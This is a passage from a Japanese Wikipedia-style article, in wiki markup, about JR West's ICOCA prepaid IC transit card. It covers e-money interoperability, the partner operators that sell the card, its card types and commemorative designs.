(福岡県)|小倉駅]])の[[コンビニエンスストア]]「[[ハートイン]]」と「[[デイリーイン]]」の各店のほか、関西・中国地区のイオングループや[[ビックカメラ]]、[[ヨドバシカメラ]]、[[すかいらーく]]グループ各店(四国エリアを含む)など、また[[ファミリーマート]](関西エリア、岡山・広島エリア、北陸エリアの全店)や[[ローソン]]、[[ミニストップ]]、[[セブン-イレブン]](3社とも、北陸・山陰を含むJR西日本エリア、およびJR四国エリアに導入)などのコンビニエンスストア等、利用可能な店舗は順次拡大中である。加えて、ICOCAに対応した[[自動販売機]]や[[コインロッカー]]もある。[[2008年]][[3月18日]]からは、[[Suicaショッピングサービス]](現・Suica電子マネー)と相互利用を行っているほか、[[2010年]][[3月13日]]より、JR東海の「TOICA電子マネー」と、さらに[[2011年]][[3月5日]]からは、JR九州の「SUGOCA電子マネー」と相互利用を開始した。そして[[2013年]][[3月23日]]からの「全国相互利用サービス」の開始により、Kitaca(JR北海道)・PASMO(関東民鉄)・manaca(名鉄他)・nimoca(西鉄他)・はやかけん(福岡市交通局)の各電子マネーサービスとも相互利用を行っている。ただし、[[PiTaPa#PiTaPaショッピングサービス|PiTaPaショッピングサービス]]との相互利用は、PiTaPaが他の交通系ICカードと適用される法令が異なりクレジットカード扱いとなるため、2013年3月23日以降も行われておらず、PiTaPaショッピングサービス加盟店においては、ICOCA(「全国相互利用サービス」対応の各カードとも)を電子マネーとして利用することはできない{{Efn|[[青山商事|洋服の青山]]や、関西地区と三重県(JR東海のTOICA電子マネーを導入)ミニストップの各店、京阪沿線の[[アンスリー]]各店、関西地区のファミリーマート各店(三重県・愛知県の一部店舗を含む)など、ICOCA電子マネーとPiTaPaショッピングサービスの双方に重複加盟している例は若干ある。されらにキャッシュレス決済推進のため、その他流通系・コード決済型と併せて導入している店舗もある。}}。
[[2014年]][[7月22日]]から[[Wii U]]、[[12月9日]]から[[Newニンテンドー3DS]]・[[Newニンテンドー3DS LL]]の支払い決済に、ICOCAを含めた交通系電子マネーを利用できるようになった<ref>{{Cite press release|和書|url=https://www.nintendo.co.jp/corporate/release/2014/140718.html |title=家庭用ゲーム機「Wii U」でSuicaがご利用いただけるようになります|publisher=任天堂|date=2014年7月18日|accessdate=2014年7月29日}}</ref>。このサービスは2022年1月18日9時をもって終了した。
=== JR西日本以外での取扱 ===
JR西日本1社のみの発行体制を維持しつつ、取扱事業者は増加傾向にあり、[[北陸地方]]から[[四国地方]]までの西日本の26社局が取扱事業者としてカードの発売を行っている(2021年8月21日現在)<ref>[https://www.jr-odekake.net/icoca/pdf/covenant_iccard.pdf ICカード乗車券取扱約款 第5章 ICOCA乗車券の他社での発売] 西日本旅客鉄道</ref>。
==== PiTaPa との連携(関西エリア) ====
2009年11月、JR西日本と関西の私鉄各社を中心に[[後払い決済|ポストペイ]]型(後払い式)IC乗車カード「[[PiTaPa]]」を発行する[[スルッとKANSAI|スルッとKANSAI協議会]]との間で、「ICカード乗車券を活用した連携実現に向けた合意書」を締結。同年12月15日には「ICカード乗車券を活用した新たな連携サービスについて」として、プリペイド方式のICOCAとポストペイ方式のPiTaPaとの棲み分けを行うことにより、両者間で幅広い連携サービスをはかることを発表した<ref>{{Cite press release|和書|url=https://www.westjr.co.jp/press/article/items/150123_04_icoca.pdf|archiveurl=https://web.archive.org/web/20201127020641/https://www.westjr.co.jp/press/article/items/150123_04_icoca.pdf|format=PDF|language=日本語|title=ICカード乗車券を活用した新たな連携サービスについて|publisher=西日本旅客鉄道/スルッとKANSAI協議会|date=2009-12-15|accessdate=2021-01-23|archivedate=2020-11-27}}</ref>。この合意を受けて、[[2011年]]6月に[[京阪電気鉄道]](京阪電鉄)でICOCA(ICOCA定期券含む)の販売を開始し<ref name="keihan20110311"/>、続いて[[2012年]]12月には[[近畿日本鉄道]](近鉄)でICOCA(ICOCA定期券含む)の販売を開始<ref name="kintetsu20110311"/>。
さらに2017年3月31日、スルッとKANSAI協議会が磁気式プリペイドカードの販売終了を見据えて、「ICカード乗車券(ICOCAとPiTaPa)を活用した連携サービスの拡大について」として[[大阪市交通局]](地下鉄・ニュートラム、現[[大阪市高速電気軌道]])・[[南海電気鉄道]]・[[泉北高速鉄道]]<ref>{{Cite press release|和書|url=https://www.westjr.co.jp/press/article/2015/01/page_6716.html |title=ICカード乗車券を活用した連携サービスの拡大について|publisher=西日本旅客鉄道|date=2015年1月23日|accessdate=2017年4月17日}}</ref>と[[京都市交通局]](地下鉄・バス)・[[山陽電気鉄道]]・[[神戸電鉄]]・[[大阪高速鉄道]]・[[神戸新交通]]・[[北神急行電鉄]]<ref>{{Cite press release|和書|url=https://www.westjr.co.jp/press/article/2015/11/page_7964.html |title=ICカード乗車券を活用した連携サービスの拡大について|publisher=西日本旅客鉄道|date=2015年11月26日|accessdate=2017年4月17日}}</ref>・京阪電気鉄道([[大津線]]<ref>{{Cite press release|和書|url=https://www.keihan.co.jp/info/upload/2015-11-25_ootsuICOCA.pdf|archiveurl=https://web.archive.org/web/20210123061812/https://www.keihan.co.jp/info/upload/2015-11-25_ootsuICOCA.pdf|format=PDF|language=日本語|title=大津線でもICOCA定期券の発売を開始します 〜平成29年春を予定〜|publisher=京阪電気鉄道|date=2015-11-26|accessdate=2021-01-23|archivedate=2021-01-23}}</ref>)と[[神戸市交通局]](地下鉄・バス)・[[山陽バス]]<ref name="release20160330"/>でも順次ICOCAの販売(山陽バスを除く)および定期券機能の導入(神戸新交通は除く)が開始された<ref>{{Cite press release|和書|url=http://www.westjr.co.jp/press/article/2017/02/page_9882.html |title=ICOCAおよびICOCA定期券の発売開始日決定|publisher=西日本旅客鉄道|date=2017年2月3日|accessdate=2017年4月17日}}</ref>。一方、スルッとKANSAI協議会加盟各社のうち、[[阪急阪神ホールディングス]]([[阪急阪神東宝グループ]])傘下の鉄道事業者4社([[阪急電鉄]]・[[阪神電気鉄道]]・[[能勢電鉄]]・[[北大阪急行電鉄]])はスルッとKANSAI対応カードの発売終了後も「磁気カードを支持する利用客が多かった」(阪急阪神HDの[[杉山健博]]社長談)<ref>{{Cite news|url=https://newswitch.jp/p/14671|title=関西で交通系ICカード普及へ、距離を縮めるJRと阪急|newspaper=日刊工業新聞|date=2018-10-04|accessdate=2018-10-26}}</ref>との理由から、4社間で磁気式共通プリペイドカード「[[ラガールカード|阪急 阪神 能勢 北急レールウェイカード]]」を発行しICOCAの販売を見送る一方、2017年春より阪急・北急との間でも PiTaPa による連絡定期券の発売を行った<ref name="20170203_JRW">{{Cite press release|和書|url=http://www.westjr.co.jp/press/article/2017/02/page_9880.html |title=「IC連絡定期券」の発売拡大について ~3月18日から発売開始~|publisher=西日本旅客鉄道|date=2017年2月3日|accessdate=2017年4月7日}}</ref>。その後、2019年3月1日より4社でもICOCAの販売を開始し、「レールウェイカード」を含めた磁気式プリペイドカードの取り扱いを終了している(詳細後述)。こうした動きに加え、[[2018年]]10月1日から[[アーバンネットワーク]](京阪神地区)の一部ICOCAエリアでPiTaPaのポストペイサービスを開始しており、両者エリア間のシームレス化によって「プリペイドはICOCA、ポストペイはPiTaPa」という棲み分けの加速がすすんでいるものの、PiTaPaはポストペイという制度上与信審査が必要なことから2021年時点で発行枚数約2500万枚のICOCAが会員数約330万人のPiTaPaを大幅に上回っている<ref name=":5" />。
なお、先行導入した近鉄は独自の[[ポイントカード]]「KIPS」にICOCAを搭載した「KIPS ICOCA」をJR西日本と共同発行していた<ref>[http://www.kintetsu.co.jp/group/Kips/card/icoca/rule.html KIPS ICOCAカード会員規約]に「近畿日本鉄道株式会社と西日本旅客鉄道株式会社が共同して発行する」との文言あり。</ref>。また、[[京阪バス]]グループ4社(京阪バス・[[京阪京都交通]]・[[京都京阪バス]]・[[江若交通]])では、ICOCAでバスを利用する度にバスポイントがたまる制度を2017年4月1日より開始した<ref name=":8">{{Cite press release|和書|url=https://www.keihanbus.jp/news/sysimg/00161/link_B0tyg.pdf |format=PDF|title=新サービスの実施と磁気カード等乗車券の発売・利用終了について|publisher=京阪バス・京阪京都交通・京都京阪バス・江若交通|date=2017年2月3日|accessdate=2017年4月7日}}</ref>。さらに、[[神戸新交通]]では同社においてICOCAを利用する度にチャージ額を一部還元するサービス(引き換えに同社における回数券カードの発売を終了)を2020年4月1日より実施している<ref name=":9">{{Cite web|和書|url=https://www.knt-liner.co.jp/ticket/charge/|archiveurl=https://web.archive.org/web/20200617062000/https://www.knt-liner.co.jp/ticket/charge/|archivedate=2020-06-17|date=2020-03-13|accessdate=2020-08-09|title=チャージ還元サービスのご案内|publisher=神戸新交通}}</ref><ref name=":10">{{Cite web|和書|url=https://www.knt-liner.co.jp/news/5574/|archiveurl=https://web.archive.org/web/20200617054241/https://www.knt-liner.co.jp/news/5574/|archivedate=2020-06-17|date=2020-02-21|accessdate=2020-08-09|title=ICOCAを使用したチャージ還元サービスの実施及びPiTaPa利用額割引の適用区分・割引率の変更、並びに回数券カードの発売終了について|publisher=神戸新交通}}</ref>。そのほか、京阪電気鉄道においても同社の[[京阪線]]でICOCAを利用する度にポイントを還元する制度を2020年12月1日より開始(引き換えに同社における回数券の発売を終了)する予定である<ref name=":11">{{Cite web|和書|url=https://www.keihan.co.jp/corporate/release/upload/2020-07-10_icoca.pdf|format=pdf|archiveurl=https://web.archive.org/web/20200710075822/https://www.keihan.co.jp/corporate/release/upload/2020-07-10_icoca.pdf|archivedate=2020-07-10|date=2020-07-10|accessdate=2020-08-09|title=ICOCAによる新サービス「京阪電車ポイント還元サービス」の開始について|publisher=京阪電気鉄道}}</ref><ref name=":12">{{Cite web|和書|url=https://www.keihan.co.jp/corporate/release/upload/2020-07-10_kaisuken.pdf|format=pdf|archiveurl=https://web.archive.org/web/20200710092915/https://www.keihan.co.jp/corporate/release/upload/2020-07-10_kaisuken.pdf|archivedate=2020-07-10|date=2020-07-10|accessdate=2020-08-09|title=京阪線・鋼索線における回数券の発売終了・利用終了について|publisher=京阪電気鉄道}}</ref>。また、2021年春からは大阪メトロのポイントサービス(Osaka Point)の対象がICOCAにも拡大した<ref>{{Cite web |url=https://subway.osakametro.co.jp/news/news_release/20210224osakapoint_iccardkakudai.php |title=Osaka Metro |accessdate=2021-03-26 }}</ref>。また、神戸市営バス及び山陽バス(2021年4月1日より<ref name=":13">{{Cite web|和書|url=https://www.city.kobe.lg.jp/a90404/412388948538.html|archiveurl=https://web.archive.org/web/20210205025237/https://www.city.kobe.lg.jp/a90404/412388948538.html|title=令和3年3月16日(火曜)から市バス普通区・共用区でのICカードご利用は2タッチに|date=2021-02-02|archivedate=2021-02-05|accessdate=2021-02-05|publisher=神戸市|language=日本語|deadlinkdate=}}</ref><ref name=":14">{{Cite press release|和書|url=http://www.sanyo-bus.co.jp/media/1612159248_26242400.pdf|archiveurl=https://web.archive.org/web/20210205025529/http://www.sanyo-bus.co.jp/media/1612159248_26242400.pdf|format=PDF|language=日本語|title=2021年3月16日(火)交通系ICカードの全国相互利用サービスへの対応を開始します|publisher=山陽バス|date=2021-02-01|accessdate=2021-02-05|archivedate=2021-02-05}}</ref>)では独自のポイントサービスが、近江鉄道バスではICOCAポイントサービスの導入が、阪神電気鉄道ではICOCAを対象とした独自のポイントサービス(引き換えに同社における回数券カードの発売を終了)<ref>[https://www.hanshin.co.jp/company/press/detail/3446]</ref>の導入をそれぞれ決定している。
==== 他社でのICカード乗車券の新規導入 ====
[[2012年]]からは、[[四国旅客鉄道]](JR四国)でもJR西日本と相互[[直通運転]]を行っている[[快速列車|快速]]「[[マリンライナー]]」([[岡山駅]] - [[高松駅 (香川県)|高松駅]])の標準停車駅で一部利用を開始した。システム導入はJR西日本が主導した。[[2014年]]からはJR四国でもICOCAを発売することになった(発行ではない)。導入当初は乗車のみ可能であり、JR四国では発売はおろかチャージすら扱っていなかった。後述のとおり、現在も取扱いに一部制限がある。JRが自前のシステムではなく、他社のICカードシステムを導入する唯一の例である。
[[2015年]][[3月21日]]より[[北陸本線]]から[[北陸新幹線]]開業に伴って[[第三セクター]]に転換した[[あいの風とやま鉄道]]でも発売が開始され、[[3月26日]]より運用開始した。同じく元北陸本線の[[IRいしかわ鉄道]]でもICカード乗車券を新規に導入し、[[2017年]][[4月15日]]よりICOCAのサービスを開始した。両社ともJR西日本が支援を行っている。
その後も、主に西日本各府県にある鉄道・バス会社において、JR西日本が支援を行うことでICOCAが導入されている。
=== キャラクター ===
{{main|カモノハシのイコちゃん}}
イメージキャラクターは[[カモノハシ]]をモチーフにした「[[カモノハシのイコちゃん]]」。「ICOCAでいこか〜タッチしていこか〜」、ICOCA電子マネーサービスには「ICOCAで買おか〜タッチして買おか〜」というキャッチフレーズがあり、テレビCMやパンフレットなどで仲間とイコちゃんが呼び掛けている。
JR西日本のイメージキャラクターを務めていた[[仲間由紀恵]]と共に出演する機会も多い。ICOCAの広告は、京阪神・岡山・広島地区の駅のポスターおよび車両([[JR西日本321系電車|321系]]や[[JR西日本225系電車|225系]]等)の液晶ディスプレイで放映されている。ICOCAとSuicaの相互利用開始時には、巨大化したイコちゃんが東京都内に出現し、仲間由紀恵が「東京で〜」イコちゃんが「ICOCA〜」と叫ぶテレビCMや広告が数か月間に亘って宣伝された。仲間の背景はセットで作られた[[東京駅]]という設定で、自動改札機もJR東日本で多く使われているタイプだったが、実際には[[大阪駅]]の中央改札口にそっくりであった。
2013年3月23日からの「全国相互利用サービス」開始にあわせて久々のテレビCMが放映され、立体アニメーションでのイコちゃんが登場した。
== 取扱事業者一覧 ==
ICOCAのサービスエリアについては下記の[[#利用可能エリア|利用可能エリア]]を参照。
<!--発行(発売やオリジナルデザインとは異なる)はJR西のみ。カード裏面参照。-->
=== 発行事業者 ===
* [[西日本旅客鉄道]](JR西日本)
* [[近畿日本鉄道]](近鉄) - KIPS ICOCAをJR西日本と共同発行(2023年1月31日をもって新規発行を終了)。通常カードはJR西日本のものを発売。PiTaPa事業者でもある。
=== 発売を行う事業者 ===
2023年4月1日現在、JR西日本、近鉄以外にも33事業者がカードの発売を行う<ref>[https://www.jr-odekake.net/icoca/pdf/covenant_iccard.pdf 西日本旅客鉄道株式会社ICカード乗車券取扱約款]別表7、別表7の2</ref>。これは日本の交通系ICカードの中ではPASMO(105事業者)に次いで多い。
:☆=独自サービスも行う事業者
:※=自社オリジナルデザインのカード発売実績あり(特記のないものは常時発売)
:◇=PiTaPa事業者
:ポ=独自ポイントサービスあり(後述)
<!--西日本旅客鉄道ICカード乗車券取扱約款 別表7、別表7の2-->
==== 近畿 ====
* [[京阪電気鉄道]]☆◇※ポ - きかんしゃトーマス(2015年)<ref>[https://response.jp/article/2015/04/14/248990.html 京阪、「きかんしゃトーマス」のICカード発売…早期完売なら増刷レスポンス] - レスポンス</ref><ref>[https://travel.watch.impress.co.jp/docs/news/1264698.html 京阪電車、多頻度乗車でICOCAポイントを還元する新サービス。2020年12月開始。回数券は発売/利用を順次終了] - トラベル Watch</ref>
* [[南海電気鉄道]]◇ポ
* [[泉北高速鉄道]]◇ポ
* [[山陽電気鉄道]]◇ポ
* [[神戸電鉄]]◇
* [[大阪モノレール]]◇
* [[神戸新交通]]◇ポ
* [[京都市交通局]]◇※ポ - 明治150年記念 京都市電デザイン(2018年)<ref>[https://railf.jp/news/2018/12/15/081000.html 京都市交,明治150年記念「市電デザインICOCA」を発売] - railf.jp</ref>
* [[大阪市高速電気軌道]] (Osaka Metro)◇ポ
* [[大阪シティバス]]◇ポ
* [[神戸市交通局]]◇☆ポ
* [[山陽バス]]◇☆ポ
* [[阪急電鉄]]◇ポ
* [[阪神電気鉄道]]◇※ポ - 阪神タイガース(2019年)<ref>[https://archive.is/wip/VN51g 甲子園駅まるでUSJ!?タイガースICOCA、最大420分待ち大行列] - サンスポ archive.today</ref>
* [[能勢電鉄]]◇ポ
* [[北大阪急行電鉄]] ◇
* [[近江鉄道]]
* [[湖国バス]]
==== 東海 ====
* [[四日市あすなろう鉄道]]
==== 北陸 ====
* [[あいの風とやま鉄道]]※<ref>[https://ainokaze.co.jp/1995 あいの風とやま鉄道オリジナルICOCAについて] - あいの風とやま鉄道</ref>
* [[IRいしかわ鉄道]]※<ref>[http://www.ishikawa-railway.jp/ticket/ticket_icoca.html ICOCAの取扱いについて] - IRいしかわ鉄道</ref>
==== 中国・四国 ====
* [[四国旅客鉄道]](JR四国)※<ref>[https://www.watch.impress.co.jp/docs/news/1290566.html JR四国、SHIKOKU ICOCAのデザインを一新] - Impress Watch</ref>
* [[中国ジェイアールバス]] - 県域により取扱カードが分かれる。
* [[松江市交通局]]
* [[一畑バス]]
* [[宇部市交通局]]
* [[おのみちバス]]
* [[日本交通 (鳥取県)]] - 2023年3月18日から先行発売、2023年4月1日から[[くる梨]]で利用開始。
* [[石見交通]]☆
* [[防長交通]]
* [[本四バス開発]]
* [[中鉄北部バス]]
===かつて発売していた事業者===
* [[北神急行電鉄]] ◇ - 市営化により発売終了(現在は神戸市交通局が発売している)
== 種類 ==
特記なき限り、各カードはICOCAエリア内のJR西日本の各駅の[[みどりの窓口]]や、近鉄などの取扱事業者の各駅の窓口、並びにICOCAのマークがある各事業者の各駅にある一部の[[自動券売機]]で購入できる。
=== ICOCA ===
プリペイド方式の普通乗車券機能(ストアードフェア機能)と電子マネー機能がある無記名式のカード。発売額は1000円、2000円、3000円、5000円、10000円の5種類である。発売額には500円の[[デポジット]](預り金)が含まれており、購入時点で最初に使える残高はデポジットを引いた金額となる。デポジットはカードが不要になった際に、各事業者の取り扱い窓口で返却をすると払い戻される。
[[ファイル:Jrwest icoca card with platypus mascot.jpg|代替文=イコカ|サムネイル|216x216ピクセル|ICOCA]]
[[Suica]]や[[SUGOCA]],[[Kitaca]]などと異なり、記名式の通常版ICOCAは発売されていない<ref>[[JR]]が発行する交通系ICカードで記名式を発行していないのは他に[[TOICA]]がある。</ref>。そのため紛失時の補償もない。(大人用カードの記名式を希望する場合は、[[SMART ICOCA|スマートICOCA]]、ICOCA[[定期券]]のいずれかが必要)
<br/>小児は小児用[[ICカード]](こどもICOCA)があるがあるため他のICカード同様、自動的に記名式となる。(後述)
=== こどもICOCA ===
小児運賃が適用される旅客に対して発売されるカード。記名式で、氏名・生年月日・性別の登録を発売時に行う。発売額は2000円のみ。
カードのデザインについては、JR西日本ではこどもICOCA専用デザインのカード(クリーム色の地色に「カモノハシのイコちゃん」が入ったもの)が発行されるが、近鉄・京阪では大人用のICOCAと同じデザインのカードの中央に、「丸に小」のマークを印字したものが発行される。なお、JR西日本発行分も2015年4月から大人用とデザインが統一されており、専用デザイン柄は在庫が無くなり次第発売終了となる。
購入時に使用者の年齢の確認できる[[身分証明書]]が必要となる(代理人による購入も可能)ため、自動券売機では購入不可。利用者本人が大人運賃を適用される年齢に達する年の年度末が有効期限とされている。
JR西日本において、ICOCAが導入された当初は大人用のみの設定で小児用のICOCAは発売しておらず、後に発行を開始した小児用ICOCA定期券は当初はストアードフェア機能は使用できなかったが、[[2004年]]8月から利用を開始した。[[JR]]グループで小児用IC乗車カードを発行したのはICOCAが初めてである<ref group="注釈">[[鉄道ジャーナル]][[2004年]][[8月]]号より。尚、ICOCAより先に登場したSuicaは[[2007年]]3月まで大人用のみで、かつこどもICOCAだけはSuicaエリアでは利用できなかった。</ref>。
=== ICOCA定期券・こどもICOCA定期券 ===
ICOCAに[[定期乗車券]]を搭載したもの。ストアードフェア機能自体は通常のICOCAと同じ(ただし身体障害者割引等が適用されたICOCA定期券にはストアードフェア機能がない)で、ICOCAの前面に定期券情報が印字される(ただし[[四日市あすなろう鉄道]]およびバス事業者([[京都市営バス]]・[[大阪シティバス]]・[[神戸市バス]]・[[山陽バス]]を除く)のICOCA定期券は券面に印字されないため、別紙で「ICOCA定期券内容控」が交付される。)<ref>{{Cite web|和書|url=https://www.jr-odekake.net/icoca/guide/bus/ |accessdate=2021-11-10|title=バスでのご利用|publisher=西日本旅客鉄道}}</ref>。
* ICOCAの前面に定期券情報が印字される事業者 - 鉄道事業者(四日市あすなろう鉄道を除く)および京都市営バス・大阪シティバス・神戸市バス・山陽バス
<!--西日本旅客鉄道ICカード乗車券取扱約款 別表7-->
* ICOCAの前面に定期券情報が印字されず別紙で「ICOCA定期券内容控」が交付される事業者 - 四日市あすなろう鉄道およびバス事業者(京都市営バス・大阪シティバス・神戸市バス・山陽バスを除く)
<!--西日本旅客鉄道ICカード乗車券取扱約款 別表7の2-->
既に所持している通常版のICOCA・こどもICOCAに後から定期券を搭載することが可能。カードの新規購入では定期運賃相当額にデポジットの500円を加えた額、通常版ICOCAからの変更では定期運賃相当額等のみが発売額となる。JR西日本のICOCAエリア内で完結する区間においては、連続した区間を二区間に分割して一枚のICOCA定期券にまとめることもできる。[[新幹線通勤|フレックス・フレックスパル]]を付加させることも可能。新幹線停車駅が2駅以上含まれる場合はICOCA定期券を新幹線で自由席特急券部分をチャージから引き去る事で利用することができる。なお、[[パスカル定期券|パスカル]]は付加することはできない。
ICOCAエリア内のJR西日本の各駅にある[[みどりの窓口]]の他、[[みどりの券売機]]やピンク色の[[自動券売機]]、近鉄などの取扱事業者各駅にある一部の窓口や自動定期券販売機で発売されている。ただし他社線のみのICOCA定期券を他社で購入することは出来ない。JR四国線区間を含むICOCA定期券は一切発売しない。IRいしかわ鉄道(2017年4月15日発売開始)は一部の窓口でのみ発売し、自動券売機はすべて非対応である。またICOCAエリア内であってもICOCA定期券の設定が無い区間がある。逆に(狭義の)ICOCAエリアを含まず、ICOCA取扱事業者の利用可能エリアと他地域カードエリアの連絡定期券の設定もある(近鉄-JR東海、名鉄)。
通常のICOCA(大人用)には記名式のカードが存在しないため、ICOCA定期券の定期券機能のみを払い戻すと、無記名のカードとなる<ref>{{Cite web|和書|archiveurl=https://web.archive.org/web/20190428025647/https://www.jr-odekake.net/icoca/pdf/covenant_iccard.pdf|url=https://www.jr-odekake.net/icoca/pdf/covenant_iccard.pdf|format=pdf|archivedate=2019-04-28|date=2019-04-01|accessdate=2020-07-04|title=ICカード乗車券取扱約款|publisher=西日本旅客鉄道}} - 第38条第2項参照。</ref>。
;ICOCA連絡定期券
: ICOCAにICOCAエリア・PiTaPaエリア・TOICAエリア・manacaエリアとの[[連絡運輸]]を行う定期券(連絡定期券)の機能を加えたもの。機能自体は通常のICOCA定期券と同じ。通常のICOCAを扱わずICOCA定期券のみを扱うPiTaPa導入社局もあり、PiTaPaエリア内で完結するICOCA連絡定期券を発売する社局もある。
: 近畿圏エリアでの相互連絡先は多岐にわたるため割愛する(外部出典<ref>{{PDFlink|[http://www.westjr.co.jp/press/article/items/170203_04_hatubai.pdf IC連絡定期券発売一覧]}}</ref>参照)。
: 以下の社局が発売している(2017年4月15日現在)。なお、JR西日本ではJR西日本を挟む3社連絡定期券は発売しない。
:*ICOCA連絡定期券のみを発売する社局 - JR西日本・近鉄・京阪(京阪線・大津線)・京都市交通局(バス連絡定期を含む)・大阪モノレール
:*ICOCA連絡定期券とPiTaPa連絡定期券を併売する社局 - 南海・泉北高速・神戸市交通局(バス連絡定期を含む)・山陽電車(山陽バスとの連絡定期はICOCAでのみ発売)・神戸電鉄・北神急行・阪急・阪神・能勢電鉄・神戸高速・北大阪急行
:なお、神戸新交通ではICOCAエリアにまたがるPiTaPa連絡定期券のみ発売する。
:このほか、JR西日本・IRいしかわ鉄道・あいの風とやま鉄道の2社または3社相互間のICOCA連絡定期券<ref name="20170131_JRW">{{Cite press release|和書|url=http://www.ishikawa-railway.jp/info/pdf/201701312.pdf|archiveurl=https://warp.ndl.go.jp/info:ndljp/pid/10949894/www.ishikawa-railway.jp/info/pdf/201701312.pdf|format=PDF|language=ja|title=北陸線(大聖寺駅~金沢駅間)IRいしかわ鉄道線、城端線(高岡駅~新高岡駅間)4月15日ICOCAサービスご利用開始~石川と富山がICOCAでつながる~|publisher=西日本旅客鉄道/IRいしかわ鉄道/あいの風とやま鉄道|date=2017-01-31|accessdate=2021-01-23|archivedate=2017-08-20}}</ref>、近鉄とJR東海・名古屋鉄道のICOCA連絡定期券(近鉄で発売)<ref>{{Cite press release|和書|url=https://jr-central.co.jp/news/release/_pdf/000017020.pdf|archiveurl=https://web.archive.org/web/20210123062135/https://jr-central.co.jp/news/release/_pdf/000017020.pdf|format=PDF|language=日本語|title=JR東海・近鉄IC連絡定期券の発売を開始します|publisher=東海旅客鉄道/近畿日本鉄道|date=2012-12-18|accessdate=2021-01-23|archivedate=2021-01-23}}</ref>、JR西日本とJR東海のICOCA連絡定期券もある。
=== SMART ICOCA・SMART ICOCA定期券 ===
{{Main|SMART ICOCA}}
ICOCAの機能に加え、[[クレジットカード]]による電子決済でチャージ(入金)ができる「クイックチャージサービス」、[[J-WESTカード]]の「J-WESTポイント」→「WESTERポイント」からのチャージ機能などが追加されたカード。利用するには、クレジットカードの登録が必要。
SMART ICOCA定期券はICOCAエリア内のJR西日本の各駅にあるみどりの窓口や券売機でのみ定期券機能を付加することができ、他社局の窓口での取り扱いや他社局内のみのSMART ICOCA定期券をJR西日本の窓口や券売機で購入することはできない。
=== デザインICOCA ===
JR西日本が発行するカード表面にイラストなどオリジナルの図柄を入れたデザインICOCAカードが下記のとおり存在している。原則として大人用のみの発売で、定期券の機能を付けることもできない(一部例外あり)。プリペイドでの利用は通常デザインのICOCAと何ら変わりはない。定期券にできるカードかどうかは、カード右下の切り欠きの数でも判別できる(1個:できる、2個:できない)。カードの折損などでの再発行やカードの機能向上などを行う都合による交換時は、通年販売の記念デザインカードのうちSHIKOKU ICOCA、Ainokaze ICOCAとIRいしかわ鉄道ICOCAを除き、ICOCA&はるかオリジナルデザインICOCAを含め、通常デザインのICOCAカードへ交換することになる。
==== 通年販売のデザインICOCA ====
; SHIKOKU ICOCA
:[[2014年]][[3月1日]]より[[四国旅客鉄道]](JR四国)で発売したICOCA(記念デザインカード)。JR西日本以外で発売するオリジナルICOCAは[[提携カード]](KIPSなど)を除き初めてとなる。ただし[[商標]]は同社ではなくJR西日本が出願している。JR四国での導入開始当初は同社管内ではICOCA自体は発売していなかった。
:大人用のみの設定で、定期券機能を追加させることが出来ない(JR四国管内ではICOCA定期券やこどもICOCAの取扱い自体を行っていない<ref name="shikoku-ICOCA">{{Cite web|和書|url= http://www.jr-shikoku.co.jp/icoca/guidebook.pdf|format=PDF|title= ICOCAガイドブック |accessdate=2019-03-13 |publisher= 四国旅客鉄道|archiveurl= https://web.archive.org/web/20140314181627/http://www.jr-shikoku.co.jp/icoca/guidebook.pdf|archivedate=2014-03-14|deadlink=2019年3月}}</ref>)。また、カードはリライト機能のないタイプ{{Efn|切り欠きが2つの交通系ICカードが該当}}の物を採用している。[[2020年]][[12月1日]]以降デザインをリニューアルしたカードを販売している<ref>{{Cite press release|和書|url=http://www.jr-shikoku.co.jp/03_news/press/2020%2011%2020%2001.pdf|archiveurl=https://web.archive.org/web/20201120100517/http://www.jr-shikoku.co.jp/03_news/press/2020%2011%2020%2001.pdf|format=PDF|language=日本語|title=「SHIKOKU ICOCA」のデザインをリニューアルします!|publisher=四国旅客鉄道|date=2020-11-20|accessdate=2020-11-20|archivedate=2020-11-20}}</ref>。
; Ainokaze ICOCA
:[[2016年]][[2月27日]]から[[あいの風とやま鉄道]]で発売を開始したICOCA(記念デザインカード)<ref>{{Cite press release|和書|url=http://www.pref.toyama.jp/cms_pfile/00013225/01428163.pdf|archiveurl=https://warp.ndl.go.jp/info:ndljp/pid/11635517/www.pref.toyama.jp/cms_pfile/00013225/01428163.pdf|format=PDF|language=ja|title=あいの風とやま鉄道オリジナルデザインICOCAについて|publisher=あいの風とやま鉄道|date=2015-11-10|accessdate=2021-01-23|archivedate=2021-02-08}}</ref><ref>{{Cite web|和書|url=http://ainokaze.co.jp/1995 |title=ICOCA定期券等サービス開始およびPRチラシの配布について|publisher=あいの風とやま鉄道|date=2016-01-29|language=ja|accessdate=2016-03-03}}</ref>。販売開始と同時にICOCA定期券・こどもICOCA・こどもICOCA定期券の取り扱いを開始し、Ainokaze ICOCAなどのICOCAに定期券機能を追加することも可能。あいの風とやま鉄道での導入当初はJR西日本仕様のICOCAを販売していた。
; IRいしかわ鉄道ICOCA
:[[2017年]][[4月15日]]から[[IRいしかわ鉄道]]で販売開始<ref name="20170131_JRW" />。同時にICOCA定期券・こどもICOCA・こどもICOCA定期券の取り扱いを開始。
;「ICOCA&はるか」オリジナルデザインICOCA
:[[関西空港駅]]でのみ、「[[はるか (列車)|はるか]]割引券」とセットで販売。訪日外国人のうち短期滞在者のみ、外国パスポート提示で購入可。
:* [[2012年]][[7月1日]]発売…「[[風神雷神図#俵屋宗達の屏風画|風神雷神図]]」
:* [[2013年]][[2月4日]]発売…「[[大坂城|大阪城]]と[[ハローキティ]]」
==== 枚数限定発売の記念デザインICOCA ====
* [[2003年]][[11月1日]]発売…ICOCA導入時の記念ICOCA(5万枚)
* [[2004年]][[8月1日]]発売…ICOCA Suica相互利用記念(5万枚)<ref>{{Cite press release|和書|url=http://www.westjr.co.jp/news/newslist/article/040716a.html |archiveurl=https://web.archive.org/web/20040811021844/www.westjr.co.jp/news/newslist/article/040716a.html |title=8月1日から「ICOCA」「Suica」相互利用開始 「ICOCA」「Suica」相互利用記念カードの発売 |publisher=西日本旅客鉄道 |date= 2004年7月16日 |archivedate=2004-08-11 |accessdate=2019-03-10}}</ref>
* 2004年[[12月6日]]発売…三都・光コレクション(10万枚)<ref>{{Cite press release|和書|url=http://www.westjr.co.jp/news/newslist/article/041125c.html |archiveurl=https://web.archive.org/web/20041211042616/www.westjr.co.jp/news/newslist/article/041125c.html |title=「神戸ルミナリエ」「なにわ探検クルーズ」「京都・花灯路」.....記念ICOCA「三都・光コレクション」の発売 |publisher=西日本旅客鉄道 |date=2004年11月25日 |archivedate=2004-12-11 |accessdate=2019-03-10}}</ref>
